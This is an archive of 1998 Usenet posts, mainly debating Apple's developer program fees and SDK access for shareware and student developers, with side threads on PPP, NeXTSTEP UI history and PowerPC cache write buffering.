>>> very long time.
>> Hint: If I was a Mac or Next user, you'd agree with me
>> I suppose you thought Slip would be around forever too?
> SLIP was a hack. This is well known. PPP is robust
> and extensible. You practically can't compare the two.
Oh com'on! PPP isn't a hack? PPP is a better done hack! The whole
modulization system is a hack! 56k is an even bigger double hack! ISDN is
even a hack!
From a programmer's point of view, the phone system is a hack. There isn't
an elegant way to connect to the Internet without spending gobs of money.
>> Already, many new
>> replacements for the PPP protocal are out, and being refined.
> OK, I'm curious. Could you name them please? Refs to internet drafts
> would be helpful.
Not off the top of my head...
>> PPP will not
>> be obsoleted by optical cable as you seem to think, but by newer protocals
>> that are more robust, and hopefully, with cryptography.
> Why not just get these via extensions to PPP? See
> http://www.ietf.org/html.charters/pppext-charter.html for details.
Actually, I'm kind of sick of the whole idea of modulization.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 20:27:46 GMT
Organization: Digital Fix Development
Message-ID: <6ggmk2$jdl$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net>
In-Reply-To: <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net>
On 04/08/98, George Graves wrote:
>In article <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>,
>rexr@cx54440-a.dt1.sdca.home.com wrote:
>
>> In <352b5da2.0@206.25.228.5> John Kheit wrote:
>> > j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
>> > > In article
<trumbull-0704981900290001@net44-223.student.yale.edu>,
>> > > trumbull@cs.yale.edu (Ben Trumbull) wrote:
>
>> What Apple Developer Program seeds is neither leadership nor a
grand vision
>> around which anyone can "rally" . So Apple's unilateral actions
lack
>> context and seed resentment and hostility...
>
>What this really means is less shareware (on top of the fact that
>its already shrinking because the platform is shrinking), and less
>software from small developers in general, you know, the people
>from whom all the innovation comes.
Thats a crock.
The Online program is free. It gets you the samples, and the
manuals. It also gets you Code Warrior Lite.
From that you can learn Macintosh programming and put out
freeware apps.
Few, if any, of the people pissing and moaning about loosing
access to the seeding program actually NEED access to it in many
cases.
Now, as far as Rhapsody is concerned it is leaving a gap, but
only because of the time-frame.... However if you join Select you're
still covered.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: kychenABC@hpl.hp.com (Kay-Yut Chen - remove ABC in email to reply)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 20:40:36 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <3532e039.603512314@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <joe.ragosta-0804981312160001@wil32.dol.net>
Mime-Version: 1.0
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>Maybe that was the point, but it's not how I read it, either.
>
>One would presume that "serious" developers (i.e. those who rely on Apple
>for their livelihood) are less likely to post a build to the Warez site.
>To the extent that raising the price will not affect a large company as
>much as someone doing Mac OS development as a hobby, raising the price
>_may_ reduce the postings to Warez sites.
>
>Whether that justifies the action is, of course, open for debate.
>
I do not think that argument holds water.
It is true the "serious" developers is less likely to post stuff to a
warez site.
However, once something is out to the warez sites, it gets duplicates
very very fast since you just need ONE pirate to get their hands on
something before it gets all over the place.
Thus, unless you can stop EVERY developers to leak something out
(which I think is impossible by raising the price, you will only stop
some), the end result will be the same. It will be distributed
everywhere.
Kay-Yut
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 14:09:33 -0700
Organization: University of British Columbia
Message-ID: <1d765na.sy4iporb5zhoN@p060.intchg1.net.ubc.ca>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
Rex Riley <rriley@yahoo.com> wrote, among other things:
> Apple's actions signal that it can't afford to get into the "handout"
> business nor support legions of "individual" developers (read welfare). By
> "raising-the-bar" Apple introduces an entry fee and seeds the concept of
> "profit" in its Developer base. Developers who approach Rhapsody without
> resources and a profit motive will be annoyed, discouraged and drop off.
"Post no trifling freeware or shareware. Give us shrink-wrapped consumer
products or give us death."
Anyone alarmed by the "think different" ideology should be pleased by
this new turn.
--
Bruce Bennett
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 14:18:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15138CC-19EEA@206.165.43.150>
References: <6ggiu7$auu$1@vixen.cso.uiuc.edu>
To: "Guanyao Cheng" <gcheng@uni.uiuc.edu>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Guanyao Cheng <gcheng@uni.uiuc.edu> said:
> Although I agree it might drive away small,
> commercial developers, for the student developer, even the previous $250
> was too much.
But all the SDK's were online last week for MacOS, but are no longer..
"SDK" stands for "software development kit." These give you sample code,
libraries, documentation, etc.
Without those, Mr. Lau might have had a hard time developing his product...
[Actually, the SDK's didn't exist back then, but making use of the latest
libraries and API managers from Apple absolutely REQUIRES one to have
access to these kits]
Thing is, the bigger houses don't download all the SDKs, but only the
updates. They use the CD's which are a commercial item. However, a
shareware/freeware author that only wants access to a single SDK, could
download that single SDK as needed -up until this week.
This action by Apple doesn't increase revenues from developers
significantly and only serves to discourage use of the SDKs by the smaller,
more innovative houses, like shareware games writers. I can pretty much
guarantee you that any neophyte games writer will simply IGNORE the
Macinitosh once he/she learns that the Games Sprocket SDK is no longer
available online and that you need to pay Apple $500 to obtain it.
Ask Ambrosia Software if they would be willing to pay $500 upfront if they
were now starting out in the MacOS shareware business.
I don't think so.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 14:20:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1513924-1B3A6@206.165.43.150>
References: <6ggj21$fit$6@anvil.BLaCKSMITH.com>
To: "Charles Swiger" <chuck-nospam@blacksmith.com>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Charles Swiger <chuck-nospam@blacksmith.com> said:
> The people for whom this price change matters are individuals and
> students. And, to
> be blunt, these people are the ones who are unlikely to have the
resources
> (unused
> machine(s) to dedicate to Rhapsody, a functioning LAN with a firewall [to
> meet the
> RDR1 licensing terms], and a working fileserver and preferably NetInfo
> server) to
> provide Apple with the kinds of feedback that they could use. Such
> individuals are
> far more likely to require excessive support resources for little
benefit.
>
Games Sprockets for MacOS now costs $500.
It isn't just the Rhapsody beta seeding. That I don't mind paying for.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: OOPS -SDKs still available (Was Re: Apple developer program
Date: 8 Apr 1998 14:26:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1513A75-202AB@206.165.43.150>
References: <6ggmk2$jdl$1@news.digifix.com>
To: "Guanyao Cheng" <gcheng@uni.uiuc.edu>, "Charles Swiger"
<chuck@blacksmith.com>, "Scott Ellsworth" <scott@eviews.com>, "Joe
Ragosta" <joe.ragosta@dol.net>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
>
> The Online program is free. It gets you the samples, and the
> manuals. It also gets you Code Warrior Lite.
>
> From that you can learn Macintosh programming and put out
> freeware apps.
>
I just checked. Apparently I had misread what the new developer's program
provides. MacOS SDKs are still available via ftp. That means that
everything that I've been saying is non-relevant (so what else is new?).
mea culpa.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: Apple developer program -shareware
Date: 8 Apr 1998 20:55:41 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6ggo8d$fit$7@anvil.BLaCKSMITH.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggkg1$90k$1@news0-alterdial.uu.net>
"M. Kilgore" <mkilgore@nospam.prysm.net> wrote:
> There is a very good reason for Apple to discourage the small or shareware
> developer - the sad fact is that if it's too easy to get into the shareware
> market then less than knowlegeable programmers can play hell with your
> system. All you need do is look at the Win shareware to discover this.
> Pehaps Rhap isn't as bullet proof as the pr would have us believe and Apple
> is just trying to protect the system from becoming just another Windows.
*ack!*
I refer you to the notions of multiuser functionality and security. In terms
of bulletproofing and system stability, Rhapsody will compare to MacOS the
way Windows NT compares to Windows 3.1-- or better, hopefully.
> There is, however, a far better reason to encourage shareware/freeware -
> many of the guys that get started in that do it because they're
> enthusiastic about their machines. That enthusiasm is is contageous and
> gets even more people interested in a platform.
True. I strongly agree that Apple should position their YellowBox
technologies in such a way as to encourage shareware and freeware
development. Having people hack cool little things because they like the
platform is very important.
> So how bad could it really be if CNET was able to cover a new & exciting
> piece of MacShareWare on each episode.
It'd be good.
> I'd be tempted to say that a healthy shareware market is directly
> translatable into new hardware sales.
The presence of useful and cool software does help hardware sales, agreed.
But what does that have to do with seeding early beta versions?
Shareware/freeware writers should to bide their time until CR1 or maybe DR2.
Again, it seems people simply don't understand what "beta" means. It takes
time to bring a new operating system to the point where it is suitable for
mass-market usage, and DR1 isn't.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 23:36:35 +0200
Organization: Guest of OLEANE
Message-ID: <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
Charles Swiger <chuck-nospam@blacksmith.com> wrote:
> However, Apple does not want to spend the time (== money) and resources to
> provide extensive support for DR1 to individual people who just want to
> play around.
I dont need support from Apple and I understand that asking money in
exchange of info (read debugging help) is normal.
I need the seeds to make sure my product will run when my clients
receive the new OS version. And I dont have an extra $250 to throw away.
Benoit Leraillez
Date: Wed, 08 Apr 1998 18:55:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0804981855220001@elk68.dol.net>
References: <6ggiu7$auu$1@vixen.cso.uiuc.edu> <B15138CC-19EEA@206.165.43.150>
Xcanpos: shelf.1/199804230201!0035331913
In article <B15138CC-19EEA@206.165.43.150>, "Lawson English"
<english@primenet.com> wrote:
> Guanyao Cheng <gcheng@uni.uiuc.edu> said:
>
> > Although I agree it might drive away small,
> > commercial developers, for the student developer, even the previous $250
> > was too much.
>
>
>
> But all the SDK's were online last week for MacOS, but are no longer..
> "SDK" stands for "software development kit." These give you sample code,
> libraries, documentation, etc.
>
> Without those, Mr. Lau might have had a hard time developing his product...
>
Of course, the SDKs are still online at no charge. This makes your entire
point moot (as usual).
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 22:01:44 GMT
Organization: P & L Systems
Message-ID: <6ggs48$oop$2@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: xhsof@injep.fr
In <xhsof-0804981448100001@hobbit1.injep.fr> Xavier Humbert wrote:
> If developers have to pay 500 bucks to have Rhapsody, do you think the
> will develop for it ?
>
If anyone is wanting to develop for Rhapsody professionally and doesn't have
$500, they don't have a business plan. If you're intending to write
shareware, then $500 is a reasonable investment if you believe you have
something useful to contribute. If you're writing Rhapsody apps for a hobby,
why should I subsidise your playtime?
In the bad old days when NeXT's developement tools alone cost seven times
that amount there was no shortage of freeware or shareware.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 21:56:37 GMT
Organization: P & L Systems
Message-ID: <6ggrql$oop$1@ironhorse.plsys.co.uk>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1511189-1AF6A@206.165.43.154> "Lawson English" wrote:
> But shareware programmers often fill in the gaps that commercial software
> leaves. Also shareware programmers learn the ropes via feedback from their
> customers and are often high school/college students who later enter the
> Mac programming field as professionals.
>
If shareware authors can't make back $500 on their app, then they're not
writing a "utility" in the sense I understand it.
Apple has said that the acedemic program is to be announced later -- I'd
expect it to be cheaper.
Why does anyone *need* to be part of the program if they're not developing
professional or semi-professional apps. Sure, access to the latest and
greatest betas of the s/w is fun, but not essential if you're hacking at home
for the joy of it. Apple is not a charity -- and I don't want to have to pay
more for my Mac to subsidise someone else's hobby.
mmalc.
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 07 Apr 1998 22:48:26 -0700
Organization: Office of Academic Computing, UC Irvine
Message-ID: <atlauren-0704982248270001@dialin33462.slip.uci.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
_3;X4o1Yg^$]=Oc\u
Xcanpos: shelf.1/199804230201!0036109777
>I guess they didn't solicit input from graduate students when forming
>their new policies. I'm hardly an important developer for Apple, and am
>not likely to become one, but other people like me might (Aaron Giles
>comes to mind as a recent example). :-|
You may find that your university was given a "Scholarship" into the
Associate level developer programs. This university was, and my
department serves as the coordination point for participation and
distribution.
Ask around - I'm sure Cornell was given the opportunity.
-Andrew
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 01:21:28 GMT
Organization: @Home Network
Message-ID: <6gejeo$r0i$1@ha2.rdc1.sdca.home.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com>
<6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com>
<6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com>
<6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com>
<6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com>
<slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com>
<slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
<trev-0504982024220001@nas-sa-p5.usc.net> <see-below-0604982338260001@209.24.240.118>
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Cc: see-below@not-my-address.com
In <see-below-0604982338260001@209.24.240.118> Matthew Vaughan wrote:
> In article <trev-0504982024220001@nas-sa-p5.usc.net>, trev@sc.edu
(Trevor
> Zion Bauknight) wrote:
>
> > In article <6g923i$h2l$1@nnrp1.dejanews.com>, spagiola@usa.net
wrote:
> >
> > > sal@panix3.panix.com (Salvatore Denaro) wrote:
> > > > > Point taken; NS was Jobs' second GUI OS (and I must say, far
> > > > > better than the first).
>
> True, but the Macintosh was intended to run from a 400k floppy disk
in 64K
> of memory (upped to 128K very late in development) on a 9"
black-and-white
> monitor by people relatively unfamiliar with computers. It had
entirely
> different design goals from the Next OS, which was designed for
> development work (among other things) on workstation-class hardware.
>
>
[ snipped cross-postings ]
<Grin>
That SJ designed NeXTstepOS to run by Optical Disk on 17" B&W monitor
without a hard-drive as his second GUI OS is historically irrelevent
but causes me to pause and wonder. The rest of the packaging was
"before its time" and it was obvious that they were "onto something
big". Taligent, Pink, Copeland failed but MS WinNT succeeded. And
well, here we are Gates .vs. Jobs all over again 1998. Except the
tables are turned. It'll be interesting to see how well Jobs can drive
Apple from the position of market "also ran". Gates certainly proved
his adeptness at succeeding inspite of his product weaknesses.
> > > > And Rhapsody is going to be the third.
> > >
> > > True. But that doesn't mean it'll necessarily be better. Whereas
with the
> > > second (ie NeXTSTEP), they were able to start with a blank slate
and come up
> > > with the best UI they could, in the case of the third they are
very much
> >
> > Well, some of the things they did differently in NeXTSTEP were done
> > differently from Apple primarily to avoid stepping on Apple's toes
in this
> > regard. At the time, Apple was still fighting for its "look and
feel" in
> > court with Microsoft (which had no such qualms as NeXT in ripping
off
> > Apple.)
>
> Actually, "at the time" (1985-1988) Apple hadn't even begun to sue
> Microsoft over the look and feel of Windows, because Windows 3.0 (the
> first version that was even remotely Mac-like) wouldn't even ship for
> another two years. But I think you may be right that there were some
> limitations on what Next could do that might have been too similar to
the
> Macintosh.
>
>
The differences circa 1990 between Macintosh and NeXTstep filesystems
and windowing, were non-trivial. They were fundamentally different but
nowhere did there appear to be the necessity or appearance of
"avoiding" Mac-like conventions. I went from mainframe, PC, Mac >>
NeXTstep and found more in common with the mainframe than Mac's. That
is what ultimately kept my interest.
> > I don't know who it was, but someone with NeXT made this point.
> > I dare say the UI will be far superior to any other UI on the
planet in
> > short order. Here, they're combining the best aspects of the
traditional,
> > familiar Mac UI with the best aspects of the NeXT UI...these two
companies
> > have been responsible for what today are arguably the two best GUIs
there
> > have ever been, and they're distilling them into one. I don't see
how it
> > *can't* be better.
>
> I can certainly imagine combining two good things into something
worse
> than either, but I hope that between Next and Apple, they have the
taste
> and the talent to avoid such a fate...
>
>
GUI ± FUI, UI's are a well defined dicipline with established
conventions. Like stepping from up from Father's Oldsmobile into your
new Porsche, it'll be "Different". But you'll "Like It", you'll need
to figure out where everything "is" but "nothing" will stop you from
_Driving the Machine_. You'll step up to the Rhapsody, someday.
Someday when you have the confidence in your _Driving_. Given the
Mac's staid design? I'll bet there are a lot of new Rhapsody's
awaiting their new owners.
Porsche's aren't for everybody... so too Rhapsody's aren't for just
anybody. Therein lies one marketing appeal in a marketplace full of
Oldsmobiles and Model "A"'s. Pride of Ownership will be a continuing
Apple brand experience from Mac to Rhapsody.
Don't get caught in the GUI... :-)
-r
Rex Riley
From: "C.S." <caleb@diehlgraphsoft.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 19:27:22 -0400
Organization: @Home Network
Message-ID: <352C07D8.35ED761F@diehlgraphsoft.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
Mime-Version: 1.0
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To: Lawson English <english@primenet.com>
Lawson English wrote:
> Rex Riley <rriley@yahoo.com> said:
> > Apple's actions signal that it can't afford to get into the "handout"
> > business nor support legions of "individual" developers (read welfare).
...
> But shareware programmers often fill in the gaps that commercial software
> leaves. Also shareware programmers learn the ropes via feedback from their
> customers and are often high school/college students who later enter the
> Mac programming field as professionals.
Sure, that's fine. Do you need the very latest development version of
this API or that extension to learn the ropes? Nah. Could you write a good
piece of shareware with a couple volumes of Inside Macintosh and the
CodeWarrior academic (68K compilers only) release? Sure thing.
> Where's the next Stuffit or Alladin Software for MacOS going to come from
> if there aren't going to be any more Raymond Lau's?
Probably from the next guy who's creative and insightful enough to
recognize a need in the marketplace or dream up some new tool that
truly makes life easier/better/faster/cheaper/more fun for users.
Probably NOT from the geek with a G3 and a truckload of prerelease
software and no imagination.
I'm not saying great tools and good information aren't important,
but I _am_ saying that you don't need a Formula 1 and a zillion
sponsors to enjoy driving, or to get from one place to another.
And even if you plan on someday driving that Formula 1 and
getting those sponsors, you probably won't be lucky enough to
start out that way.
Caleb Strockbine, speaking entirely by and for himself.
caleb@diehlgraphsoft.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 17:38:03 -0700
Organization: Primenet Services for the Internet
Message-ID: <B151677A-C971F@206.165.43.150>
References: <joe.ragosta-0804981855220001@elk68.dol.net>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Joe Ragosta <joe.ragosta@dol.net> said:
> > Without those, Mr. Lau might have had a hard time developing his
> product...
> >
>
> Of course, the SDKs are still online at no charge. This makes your entire
> point moot (as usual).
As I pointed out in an e-mail to you and everyone who had participated in
this thread when I found out what you say above.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: dillon@best.net (Matt Dillon)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 8 Apr 1998 17:54:42 -0700
Organization: Best Internet Communications, Inc.
Message-ID: <6gh68i$fhr$1@flea.best.net>
References: <6gbg00$j05$1@hecate.umd.edu>
:In article <6gbg00$j05$1@hecate.umd.edu>,
:David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> wrote:
:>Salvatore Denaro (sal@panix3.panix.com) wrote:
:>: On Mon, 06 Apr 1998 00:37:35 -0400, Arun Gupta <suvidya@worldnet.att.net> wrote:
:...
:>
:>What if there is a big read/write buffer that sits in front of the cache,
:>in such a way that writes to memory are coalesced, and reads to memory are
:>checked in the buffer first? A lot of the memory reads/writes goes away.
:>(Yes, there is something like that on the PPro/P II)
Read buffers: What usually happens is that your read causes a
cache refill and the cpu core then pulls the portion required from
the primary cache. So if you are doing byte reads of memory, you
only wind up doing one main memory access per 16 memory read
instructions.
Write buffers: There are two ways to do this. You either have a
write queue that may or may not coalesce adjacent bytes and then
do sub-word memory write transactions to the external bus, or you
do a read-modify-write through the primary cache and push the
entire word (memory-bus-width worth of data) out the chip and DON'T
bother to do sub-word memory writes on the external interface. You
can do write coalescencence directly on the primary cache line and race
the transaction out to main memory.
Another way to do it, one which motorola really likes, is to write
to the primary cache and have a dirty bit (do not bother to immediately
push it out to main memory). This way a write does not stall at all,
but the methodology doesn't work well with an SMP model.
But in all cases it is possible to saturate the interface. In the
write-buffer case, you stall when (usually) four writes are queued
up. In the dirty primary-cache case you can fill up the cache with
your writes and blow away entries that you might need later on
for efficiency.
-Matt
--
Matthew Dillon Engineering, BEST Internet Communications, Inc.
<dillon@best.net>, include original article w/ any response.
do not under any circumstances send email to joeblow@bigspender.idiom.com
and, for gods sake, don't email bucktram@popserver.idiom.com
From: philipm@NO-SPAMeecs.umich.edu (Philip Machanick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 20:51:17 -0400
Organization: Department of EE and Computer Science, The University of Michigan
Message-ID: <philipm-0804982051170001@pm1-23.eecs.umich.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <6geche$8lu$1@news2.apple.com>
For those who are defending Apple's position, you have forgotten the one
key rule of marketing. Don't piss the customer off. Now stop saying the
customer is wrong, and think about how to persuade Apple to change the
message. The message is the key here, not the substance. But still, on to
detailed responses...
In article <6geche$8lu$1@news2.apple.com>, "Paul Rekieta"
<PRekieta@ix.netcom.com> wrote:
>You got it -- The Apple Developer Connection Mailing. The ADC Mailing is a
>12-month subscription that includes the Developer CD Series, a wealth of
>technical resources, system software, development tools, technical
>documentation, Interactive Media Resources, SDKs, and more. More information
>can be found at http://developer.apple.com/programs/mailing.html.
All very well but for people who want to get into new stuff like Yellow
Box, it's not much good -- it doesn't include pre-release software.
In article <joe.ragosta-0804980858150001@wil77.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>Actually, there were rumors that there would be a very low price
>educational plan. You might want to wait for the educational pricing
>before worrying too much.
I don't much care about that... the problem is small developers who will
feel discouraged when trying to find and entry point. If YB is to get a
good start, it needs some killer Mac-only (or at least YB-only) apps and
it's hard to see big companies betting on a new API.
In article <6ggj21$fit$6@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
>I'm not sure people understand the purpose of seeding and beta testing
programs.
>Rhapsody DR1 is the first "semi-public" beta release of a complex new
operating
>system. DR1 is not a final product; it is not ready for production
usage, nor is it
>suitable as a standalone platform for serious development.
[...]
>However, Apple does not want to spend the time (== money) and resources
to provide
>extensive support for DR1 to individual people who just want to play
around. In the
>long run, Apple's customer base is better served by Apple using their finite
>resources effectively. For a perfect example, someone over the last day
or so was
>asking how to make DR1 into a primary nameserver and mail exchanger.
That doesn't
>make any sense-- DR1 is *beta*, not production.
I know someone who's using it very successfully as an alternative to other
UNIX platforms. It's certainly more stable than some versions of Linux.
